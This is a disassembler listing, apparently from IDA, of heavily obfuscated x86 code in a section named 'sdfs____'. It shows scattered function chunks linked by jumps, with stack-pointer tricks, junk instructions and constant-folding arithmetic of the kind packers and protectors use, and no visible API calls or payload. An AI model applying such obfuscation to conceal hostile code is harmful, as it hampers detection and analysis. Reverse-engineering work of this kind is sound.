; =============== S U B	R O U T	I N E =======================================



sub_59CE13	proc near		; DATA XREF: sdfs____:0059904Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D065 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D3EA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A080C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A32AC SIZE 00000012 BYTES

		push	dword ptr [esp+0]
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59D3EA
sub_59CE13	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3261


loc_59CE45:				; CODE XREF: sub_5A3261+Dj
		mov	ecx, [esp+8+var_8]
		push	esi
		mov	esi, esp
		jmp	loc_599F95
; END OF FUNCTION CHUNK	FOR sub_5A3261
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59CE50:				; CODE XREF: sub_59D6B8-30FBj
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_59F226
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59CE58:				; CODE XREF: sub_5A8215+1j
		mov	ebx, 0A2F21D2h
		add	ebp, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		shl	ebp, 1
		push	esi
		mov	esi, 0A66077Ch
		jmp	loc_59A2D5
; END OF FUNCTION CHUNK	FOR sub_5A8215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_59CE75:				; CODE XREF: sub_5A913B-4601j
		xchg	ch, al
		jmp	loc_5A230D
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59CE7C:				; CODE XREF: sub_59D6B8+8E01j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp+8+var_8]
		jmp	loc_5A3EC6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_59CE93:				; CODE XREF: sub_5A600D-7B8Fj
		add	esp, 4
		xor	cl, 9Ch
		shr	cl, 6
		sub	esp, 2
		mov	word ptr [esp+4+var_4],	cx
		not	byte ptr [esp+4+var_4]
		pop	cx
		jmp	loc_599303
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------


loc_59CEAD:				; CODE XREF: sdfs____:005A20EFj
		mov	esi, esp
		jmp	loc_5AE907
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59CEB4:				; CODE XREF: sub_5A0AA2-6CBCj
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 400C68EBh
		inc	ecx
		shr	ecx, 3
		push	edx
		push	eax
		mov	eax, 72B51DC9h
		sub	eax, 6BB200E4h
		sub	eax, 8F3002BBh
		mov	edx, eax
		mov	eax, [esp+8+var_8]
		jmp	loc_5AB66E
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------


loc_59CEE3:				; CODE XREF: sdfs____:0059BC71j
		push	esi
		push	edi
		jmp	loc_59CDE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59CEEA:				; CODE XREF: sub_59D6B8+CDFCj
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		add	edi, 71DF3A8Dh
		add	edi, ebx
		sub	edi, 71DF3A8Dh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59FE3C
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_59CF0A:				; CODE XREF: sub_5A9B1D-92CDj
		sub	eax, 50C6FC6Bh
		add	ebx, eax
		pop	eax
		sub	ebx, esi
		sub	ebx, 26B87173h
		pop	esi
		xchg	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], edx
		jmp	sub_5AE29C
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CF29:				; CODE XREF: sub_5AA2D1+D31j
		shr	ecx, 0Bh
		push	esi
		push	1D61h
		jmp	loc_5AABA1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59CF37:				; CODE XREF: sub_59CBE1+10419j
		inc	eax
		sub	eax, 2C7B0B59h
		jp	loc_5A743B
		sub	eax, 0B3634CAh
		jo	loc_5A05A1
		sub	esp, 4
		pop	eax


loc_59CF52:				; CODE XREF: sub_5A0FFF+B1AEj
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_5AC999
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59CF5F:				; CODE XREF: sub_5A580F-6B25j
		add	[esp+4], ecx
		pop	ecx
		add	dword ptr [esp+0], 60BA37BAh
		add	[esp+0], eax
		jmp	loc_5AE166
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_59CF73:				; CODE XREF: sub_5AC803-2251j
		inc	esi
		jo	loc_5A8FEC
		add	esi, 294257EAh
		dec	esi
		inc	esi
		jz	loc_5AEB19
		shl	esi, 6
		dec	esi
		add	esi, 8DEE6BAEh
		mov	edx, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5AFD69
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59CFA2:				; CODE XREF: sub_5AA2D1-E541j
		push	246F4AB6h
		jmp	loc_599353
; ---------------------------------------------------------------------------


loc_59CFAC:				; CODE XREF: sub_5AA2D1-D1C7j
		pop	ebp
		sub	ebp, 31BB4122h
		jmp	loc_59D307
; ---------------------------------------------------------------------------


loc_59CFB8:				; CODE XREF: sub_5AA2D1-D9BEj
		mov	esp, [esp+4+var_4]
		and	[esp+4+var_4], eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59CFC4:				; CODE XREF: sub_5AA2D1-F8D7j
		add	eax, esi
		jmp	loc_5AB52F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE72D


loc_59CFCB:				; CODE XREF: sub_5AE72D-4FBj
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	29B9h
		jmp	loc_5ABA1E
; END OF FUNCTION CHUNK	FOR sub_5AE72D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_59CFDF:				; CODE XREF: sub_5AB5A9-2C7Dj
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		pop	esp
		push	eax
		push	esi
		mov	esi, 7F141AADh
		mov	eax, esi
		jmp	loc_59D87B
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59CFF4:				; CODE XREF: sub_59C979+5FEBj
		mov	[esp-0Ah+arg_6], ebp
		push	7E27355Ah
		pop	ebp
		jmp	sub_5A9EBF
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59D002:				; CODE XREF: sub_5B01F7-9BD6j
		pop	ebp
		jmp	loc_5AB127
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59D008:				; CODE XREF: sub_59CBE1+1498j
					; sub_5A477C+2818j
		push	24BBh
		mov	[esp-8+arg_4], ebx
		push	575Ah
		mov	[esp-4+arg_0], esp
		add	[esp-4+arg_0], 4
		pop	ebx
		jmp	loc_5A9476
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59D022:				; CODE XREF: sub_59D6B8+D25Aj
		xor	esi, [esp+0]
		jmp	loc_59A5B7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_59D02A:				; CODE XREF: sub_5A577C+8168j
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	49C7h
		mov	[esp+8+var_8], eax
		mov	eax, esp
		push	28F1h
		jmp	loc_5AC521
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_59D045:				; CODE XREF: sub_5AC803-135E6j
		push	eax
		mov	al, 16h
		jmp	loc_5AB339
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_59D04D:				; CODE XREF: sdfs____:0059C7FEj
					; sub_5A21A4+6F7Bj
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D05E:				; CODE XREF: sub_5AA2D1-C410j
		push	esp
		pop	ebp
		jmp	loc_5AE103
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CE13


loc_59D065:				; CODE XREF: sub_59CE13+3A05j
		sub	ecx, 4171B34h
		add	ecx, esi
		push	ebx
		jmp	sub_599E21
; END OF FUNCTION CHUNK	FOR sub_59CE13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D073:				; CODE XREF: sub_5AA2D1-EE36j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		pop	ecx
		push	eax
		push	ecx
		push	3CA53055h
		pop	ecx
		add	ecx, 613B0E1Fh
		jns	loc_599AB3
		sub	ecx, 7F7C14F9h
		mov	eax, ecx
		pop	ecx
		sub	ecx, eax
		mov	eax, [esp+2+var_4+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		jmp	loc_59EFA7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFA26


loc_59D0BF:				; CODE XREF: sub_5AFA26-117C9j
		sub	edi, ecx
		pop	ecx
		jmp	loc_59E40A
; END OF FUNCTION CHUNK	FOR sub_5AFA26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D0C7:				; CODE XREF: sub_5AA2D1+29C0j
					; sub_5AF2DF-14BCj
		xchg	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	ax, word ptr [esp+6+var_8+2]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 0AEF7BF4h
		push	ebx
		push	ebp
		mov	ebp, 65A4146Ch
		and	ebp, 7945133Bh
		push	eax
		mov	eax, 58D84B8Ah
		xor	ebp, eax
		jmp	loc_5AAD3D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4B1


loc_59D0F4:				; CODE XREF: sub_59B4B1+D38Dj
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		mov	dh, 7Ah
		jmp	loc_59FE17
; END OF FUNCTION CHUNK	FOR sub_59B4B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D105:				; CODE XREF: sub_5AA2D1-15E7j
		add	[esp+4], edx
		pop	edx
		jmp	loc_59CFAC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D9AA


loc_59D10F:				; CODE XREF: sub_59D9AA+3j
		mov	[esp+4+var_4], ebp
		jmp	loc_5ADFA1
; END OF FUNCTION CHUNK	FOR sub_59D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_59D117:				; CODE XREF: sub_5A4D9D-B133j
		mov	ebx, esp
		push	edx
		mov	edx, 9572AECh
		or	edx, 160A7175h
		jmp	loc_5ACEC1
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD81


loc_59D12A:				; CODE XREF: sub_5ADD81+27j
		xor	di, 30A3h
		jmp	loc_5AB890
; END OF FUNCTION CHUNK	FOR sub_5ADD81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D134:				; CODE XREF: sub_5AA2D1-1DD5j
		add	esi, edi
		pop	edi
		push	105Ch
		mov	[esp+0], edi
		mov	edi, 39CA06F9h
		xor	edi, 39CA06FDh
		jmp	loc_5ABFCD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AFD37


loc_59D14F:				; CODE XREF: sub_5AFD37-12494j
		dec	ebx
		jo	loc_5A464C
		neg	ebx
		jmp	loc_5AAAF1
; END OF FUNCTION CHUNK	FOR sub_5AFD37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF46F


loc_59D15D:				; CODE XREF: sub_5AF46F+2Bj
		mov	[esp+0], ebx
		mov	ebx, 2
		add	eax, (offset loc_5A76C9+3)
		add	eax, 2FBC5813h
		add	eax, ebx
		sub	eax, 2FBC5813h
		sub	eax, (offset loc_5A76C9+3)
		mov	ebx, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_59E5A7
; END OF FUNCTION CHUNK	FOR sub_5AF46F

; =============== S U B	R O U T	I N E =======================================



sub_59D18A	proc near		; DATA XREF: sdfs____:00598FA4o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F8D3 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1EF1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A25B9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2D9D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A40BB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4CC5 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A699F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A8C82 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9049 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AEF54 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AFABD SIZE 00000009 BYTES

		push	69E7h
		push	esp
		pop	[esp+8+var_8]
		push	eax
		push	4
		jmp	loc_5A1EF1
sub_59D18A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D19E:				; CODE XREF: sub_5992DA+33C4j
		push	esi
		mov	esi, 145252ADh
		add	esi, 5D8A20A4h
		or	esi, 3C4F04CAh
		add	esi, 0F852DC7h
		add	esi, 259D3919h
		add	eax, esi
		pop	esi
		sub	edx, eax
		pop	eax
		push	[esp+28h+var_2A+2]
		pop	ebp
		add	esp, 4
		jmp	loc_5A62F9
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59D1D1:				; CODE XREF: sub_5A580F+9087j
		not	ecx
		and	ecx, 6E9D2CABh
		sub	ecx, 6E902004h
		add	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 543F765Fh
		jmp	loc_5A02B5
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_59D1F5:				; CODE XREF: sub_5AD243-2B98j
		mov	[esp-0Ch+arg_8], esp
		push	59DBh
		mov	[esp-8+arg_4], ebp
		mov	ebp, 4
		add	[esp-8+arg_8], ebp
		pop	ebp
		push	[esp-0Ch+arg_8]
		pop	edi
		add	esp, 4
		jmp	sub_59F18C
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D216:				; CODE XREF: sub_5A600D-1896j
					; sub_5AA2D1-5632j
		pop	edx
		add	al, cl
		pop	ecx
		push	3079h
		mov	[esp+12h+var_14+2], edx
		mov	dh, 0A1h
		push	ax
		push	ecx
		mov	ch, 88h
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_5AEA1D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59D237:				; CODE XREF: sub_5A2E28+AB29j
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp-10h+arg_C]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D254:				; CODE XREF: sub_5AA2D1-4E63j
		pop	edi
		jmp	loc_5A839C
; ---------------------------------------------------------------------------


loc_59D25A:				; CODE XREF: sub_5AA2D1-45C1j
		xor	eax, 72A20092h
		sub	ebx, eax
		pop	eax
		pop	eax
		jmp	loc_5A1463
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59D268:				; CODE XREF: sdfs____:005A3D56j
		push	1489h
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59FAF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59D27C:				; CODE XREF: sub_5AA2D1-3E5j
					; sub_59A9E9+115D2j
		inc	ecx
		js	loc_5B03C6
		jmp	loc_59A07C
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
		mov	eax, 4
		add	edx, eax
		pop	eax
		mov	ch, dl
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D292:				; CODE XREF: sub_5AA2D1-1F20j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		jmp	loc_59B588
; ---------------------------------------------------------------------------


loc_59D2A7:				; CODE XREF: sub_5AA2D1-10E54j
		mov	ax, word ptr [esp-18h+arg_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		sub	al, 0BFh
		sub	al, dh
		add	al, 0BFh
		push	[esp-18h+arg_14]
		jmp	loc_5A29E6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59D2CC:				; CODE XREF: sub_59C979+B198j
		sub	eax, 0F40E112Eh
		or	ebx, eax
		jmp	loc_5A731C
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D2D8:				; CODE XREF: sub_5AA2D1-5E4j
		pop	esp
		jmp	sub_59D6C3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59D2DE:				; CODE XREF: sub_59F02F+9F09j
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 5C6B6C1Fh
		xor	ecx, 5C6B6C1Bh
		jmp	loc_59F9B5
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_59D2F6:				; CODE XREF: sub_5A580F+AA1Fj
		add	dword ptr [esp+0], 298D060Ah
		push	dword ptr [esp+0]
		pop	eax
		push	ebp
		jmp	loc_5A173B
; END OF FUNCTION CHUNK	FOR sub_5A580F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D307:				; CODE XREF: sub_5AA2D1-D31Ej
		pop	edx
		jmp	loc_59BEB1
; ---------------------------------------------------------------------------


loc_59D30D:				; CODE XREF: sub_5AA2D1-93F2j
		pop	edi
		jmp	loc_5A7C28
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A491A


loc_59D313:				; CODE XREF: sub_5A491A+352Cj
		pop	esi
		push	ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		pop	esp
		push	4164h
		mov	[esp+4+var_4], ebx
		jmp	loc_5ACE36
; END OF FUNCTION CHUNK	FOR sub_5A491A
; ---------------------------------------------------------------------------


loc_59D32B:				; CODE XREF: sdfs____:005A27FEj
		push	edi
		mov	edi, 0EDD708Dh
		jmp	loc_59B3EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59D336:				; CODE XREF: sub_5AA2D1-5956j
		pop	esi
		xor	eax, edi
		jmp	loc_5ABA0B
; ---------------------------------------------------------------------------


loc_59D33E:				; CODE XREF: sub_5AA2D1:loc_59B377j
		jmp	loc_5AB310
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59D343:				; CODE XREF: sub_5992DA+CEB3j
		sub	edi, eax
		jmp	loc_5A4ABE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59D34A:				; CODE XREF: sub_5A9EC5-1B7Bj
		add	ch, bh
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_59946A
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_59D354:				; CODE XREF: sub_59DE4B+5A56j
		mov	[esp+4+var_4], edx
		push	edi
		push	667B0AE3h
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		not	edi
		add	edi, 667B0AE8h
		mov	edx, edi
		push	[esp+8+var_8]
		pop	edi
		jmp	loc_5A1A67
; END OF FUNCTION CHUNK	FOR sub_59DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59D376:				; CODE XREF: sub_59C979+6E02j
		add	eax, ecx
		pop	ecx
		jmp	loc_5A7B0A
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_59D37E	proc near		; DATA XREF: sdfs____:00598FC8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005997DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B590 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E34E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059EFE7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F499 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059FCA6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A07B3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1A2A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A233C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A527C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AB152 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB74B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AC23C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ACC9F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AEEEB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AF3F3 SIZE 00000017 BYTES

		push	esi
		push	ebp
		push	3B23442Bh
		pop	ebp
		add	ebp, 4035097Dh
		jo	loc_5997DE
		jmp	loc_59B590
sub_59D37E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59D397:				; CODE XREF: sub_5A5EFF-98D1j
					; sub_59F02F+F7C8j
		inc	edi
		not	edi
		shr	edi, 7
		add	edi, 0FF841383h
		add	ebx, edi
		pop	edi
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_59DD95
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3CF9


loc_59D3B7:				; CODE XREF: sub_5A3CF9+A0D5j
		mov	ebx, esp
		push	eax
		push	3148460Ah
		pop	eax
		jmp	loc_5A9098
; END OF FUNCTION CHUNK	FOR sub_5A3CF9
; ---------------------------------------------------------------------------


loc_59D3C5:				; CODE XREF: sdfs____:005A2D3Aj
		add	esi, edx
		sub	esi, 656B390Bh
		pop	edx
		jmp	loc_5ABF01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59D3D3:				; CODE XREF: sub_5B01F7-3F7Cj
		pop	edx
		pop	edx
		push	ebx
		jmp	loc_5A18C5
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_59D3DB:				; CODE XREF: sub_59FB1A+1974j
		pop	bx
		jmp	loc_5997BD
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADAE7


loc_59D3E2:				; CODE XREF: sub_5ADAE7+3j
		push	[esp+4+var_4]
		jmp	loc_5A8B47
; END OF FUNCTION CHUNK	FOR sub_5ADAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CE13


loc_59D3EA:				; CODE XREF: sub_59CE13+2Dj
		push	esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		jmp	loc_5A32AC
; END OF FUNCTION CHUNK	FOR sub_59CE13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59D3FB:				; CODE XREF: sub_5A2E28+9A32j
		push	esi
		mov	esi, esp
		push	edx
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 56877F7Ch
		sub	ecx, 0F5C5C0Eh
		jnz	loc_5ADF1C
		sub	ecx, 30D947BBh
		jmp	sub_5A85E0
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_59D421:				; CODE XREF: sub_5A10E3+5137j
		push	6F9A2B7Eh
		push	[esp+10h+var_10]
		pop	eax
		add	esp, 4
		sub	ebx, eax
		pop	eax
		jmp	loc_5ADDD3
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59D438:				; CODE XREF: sub_5AB3DB:loc_59E8FDj
					; sub_5A0FFF+ED50j
		inc	dh
		xor	dh, 0FCh
		jl	loc_59AACB
		xor	dh, 1Ah
		add	dh, 0D6h
		mov	bh, 54h
		xor	bh, dh


loc_59D44D:				; CODE XREF: sub_5ABE0D-B20Ej
		mov	[esp+0], eax
		mov	eax, 4652B67h
		shl	eax, 8
		xor	eax, 34A07846h
		xchg	eax, ebp
		add	ebp, 0FFFFFFFFh
		xchg	eax, ebp
		shl	eax, 5
		add	eax, 0CE9C1762h
		sub	ebp, 55D650DDh
		jmp	loc_5A814F
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_59D475:				; CODE XREF: sub_5A9D64-1059Aj
		pop	esi
		add	edi, esi
		jmp	loc_5AC4D9
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------


loc_59D47D:				; CODE XREF: sdfs____:0059DC3Dj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A854B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59D489:				; CODE XREF: sub_5A0AA2:loc_59CD4Aj
		dec	ebx
		jg	loc_59AF52
		jmp	loc_5AC4F5
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
